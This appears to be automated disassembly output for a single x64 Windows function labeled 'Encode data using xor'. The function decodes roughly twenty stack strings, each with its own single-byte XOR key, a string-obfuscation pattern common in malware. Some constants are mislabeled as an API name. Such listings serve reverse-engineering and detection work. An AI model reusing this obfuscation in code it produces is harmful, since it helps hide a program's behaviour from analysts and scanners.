Function at 0x140009ac8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rbx, rcx
lea rcx, [rbp + 0x6f]
call fcn.140008800
mov rdx, rax
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp - 0x39]
call fcn.140009644
mov r13d, 8
mov dword [rbp - 0x59], 0x73297327
mov ecx, r13d
mov dword [rbp - 0x55], 0x73447320
mov edi, 0x7344
mov dword [rbp - 0x51], 0x8ec17344
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
lea r9d, [r13 - 4]
mov ecx, edi
xor cx, word [r8 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x140009b41
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.14000900c
test eax, eax
je 0x14000a4fb
lea rcx, [rbp - 0x39]
mov dword [rbp + 0x2b], 0x3a980
call fcn.1400095a0
test al, al
je 0x14000a4fb
lea rcx, [rbp + 0x6f]
call fcn.140008258
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea r12, [0x140011400]
mov rcx, rbx
mov rdx, r12
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008938
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140007fd4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008bc0
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140007f4c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.14000839c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008d80
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008e14
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008a88
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.1400089d8
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008510
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.1400081c4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008114
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.1400085c0
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011720]
xor eax, eax
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x100d071a
mov byte [rbp - 0x45], 0x63
lea edi, [rax + 0x15]
mov word [rbp - 0x44], ax
mov ecx, edi
mov byte [rbp - 0x42], al
mov dword [rbp - 0x41], 0x8ec17363
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, edi
mov cl, byte [r8 + rdx]
xor cl, 0x63
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140009e24
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
mov r14d, 0xb
mov dword [rbp - 0x59], 0x10110b16
mov dword [rbp - 0x55], 0x16144401
mov dword [rbp - 0x51], 0x64100a0d
mov dword [rbp - 0x4d], 0x8ec17364
lea edi, [r14 + 1]
mov ecx, edi
lea r15d, [r14 - 1]
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x64
mov byte [rdx], cl
inc rdx
sub rdi, 1
jne 0x140009e93
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x1400117f0]
mov edi, 0x1a
mov ecx, edi
mov dword [rbp - 0x49], 0x45120a0d
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x45], 0x11041116
mov dword [rbp - 0x41], 0x6500
mov dword [rbp - 0x3d], 0x8ec17365
call fcn.1400026b0
mov r9d, edi
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
lea edi, [r9 - 0x19]
mov cl, byte [r8 + rdx]
xor cl, 0x65
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x140009f0d
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r12
mov rcx, rbx
call fcn.140001990
mov rcx, r14
mov dword [rbp - 0x59], 0x12151f15
mov dword [rbp - 0x55], 0x80f0b03
mov r12d, 0xf
mov dword [rbp - 0x51], 0x660900
mov dword [rbp - 0x4d], 0x8ec17366
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9, r14
mov cl, byte [r8 + rdx]
xor cl, 0x66
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x140009f77
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rsi, [0x140011400]
mov rcx, rbx
mov rdx, rsi
call fcn.140001990
movdqa xmm0, xmmword [0x140011bf0]
mov ecx, SafeArrayGetElement
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x67111404
mov dword [rbp - 0x45], 0x8ec17367
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, SafeArrayGetElement
mov cl, byte [r8 + rdx]
xor cl, 0x67
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x140009fe6
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, rsi
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011740]
xor eax, eax
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x7000804
mov byte [rbp - 0x45], 0x69
lea ecx, [rax + 0x15]
mov word [rbp - 0x44], ax
mov byte [rbp - 0x42], al
mov dword [rbp - 0x41], 0x8ec17369
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, SafeArrayGetElement
mov cl, byte [r8 + rdx]
xor cl, 0x69
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x14000a059
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, rsi
mov rcx, rbx
call fcn.140001990
mov rcx, r15
mov dword [rbp - 0x59], 0x4a1e0f04
mov esi, 0x19
mov dword [rbp - 0x55], 0x180b0219
mov dword [rbp - 0x51], 0x6a0f
mov dword [rbp - 0x4d], 0x8ec1736a
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9, r15
mov cl, byte [r8 + rdx]
xor cl, 0x6a
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x14000a0c2
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
xor eax, eax
mov dword [rbp - 0x59], 0x4b1f0e05
mov edi, 0xe
mov dword [rbp - 0x55], 0x190e181e
mov byte [rbp - 0x51], 0x6b
mov word [rbp - 0x50], ax
mov byte [rbp - 0x4e], al
lea ecx, [rdi - 5]
mov dword [rbp - 0x4d], 0x8ec1736b
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
lea r9d, [rdi - 5]
mov cl, byte [r8 + rdx]
xor cl, 0x6b
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x14000a136
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011710]
xor eax, eax
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x49], 0x6c
mov word [rbp - 0x48], ax
lea ecx, [rax + 0x11]
mov byte [rbp - 0x46], al
mov dword [rbp - 0x45], 0x8ec1736c
call fcn.1400026b0
lea r9, [rbp - 0x59]
mov rdx, rax
sub r9, rax
mov r8d, 0x11
mov cl, byte [r9 + rdx]
xor cl, 0x6c
mov byte [rdx], cl
inc rdx
sub r8, 1
jne 0x14000a1a7
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
mov rcx, r13
mov dword [rbp - 0x59], 0x4d190803
mov dword [rbp - 0x55], 0x6d081e18
mov dword [rbp - 0x51], 0x8ec1736d
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x6d
mov byte [rdx], cl
inc rdx
sub r13, 1
jne 0x14000a206
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
mov rcx, r15
mov dword [rbp - 0x59], 0x4e1a0b00
mov dword [rbp - 0x55], 0x1b011c09
mov dword [rbp - 0x51], 0x6e1e
mov dword [rbp - 0x4d], 0x8ec1736e
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9, r15
mov cl, byte [r8 + rdx]
xor cl, 0x6e
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x14000a26f
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011700]
mov rcx, r12
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x8ec1736f
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x6f
mov byte [rdx], cl
inc rdx
sub r12, 1
jne 0x14000a2cd
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
mov rcx, r14
mov dword [rbp - 0x59], 0x205141f
mov dword [rbp - 0x55], 0x51051005
mov dword [rbp - 0x51], 0x71035c
mov dword [rbp - 0x4d], 0x8ec17371
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r12d, 1
mov cl, byte [r8 + rdx]
xor cl, 0x71
mov byte [rdx], cl
add rdx, r12
sub r14, r12
jne 0x14000a339
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x1400116b0]
mov r14d, 0xd
mov ecx, r14d
mov dword [rbp - 0x49], 0x8ec17372
movdqu xmmword [rbp - 0x59], xmm0
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x72
mov byte [rdx], cl
add rdx, r12
sub r14, r12
jne 0x14000a39c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea r14, [0x140011400]
mov rcx, rbx
mov rdx, r14
call fcn.140001990
movdqa xmm0, xmmword [0x140011c20]
xor eax, eax
mov rcx, rsi
mov word [rbp - 0x40], ax
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x3e], al
mov dword [rbp - 0x49], 0x531c155c
mov dword [rbp - 0x45], 0x27203a3f
mov byte [rbp - 0x41], 0x73
mov dword [rbp - 0x3d], 0x8ec17373
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x73
mov byte [rdx], cl
add rdx, r12
sub rsi, r12
jne 0x14000a417
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r14
mov rcx, rbx
call fcn.140001990
mov rcx, r15
mov dword [rbp - 0x59], 0x5400111a
mov dword [rbp - 0x55], 0x6150007
mov dword [rbp - 0x51], 0x7400
mov dword [rbp - 0x4d], 0x8ec17374
call fcn.1400026b0
lea r9, [rbp - 0x59]
mov r8, rax
sub r9, rax
mov cl, byte [r8 + r9]
xor cl, 0x74
mov byte [r8], cl
add r8, r12
sub r15, r12
jne 0x14000a478
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
mov rdx, r14
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x1400116e0]
mov rcx, rdi
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x8ec17375
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x75
mov byte [rdx], cl
add rdx, r12
sub rdi, r12
jne 0x14000a4ce
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4fb
lea rcx, [rbp - 0x39]
call fcn.140009478
lea rcx, [rbp - 0x39]
call fcn.140009624
lea rdx, [0x14001151c]
mov rcx, rbx
call fcn.140001990
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret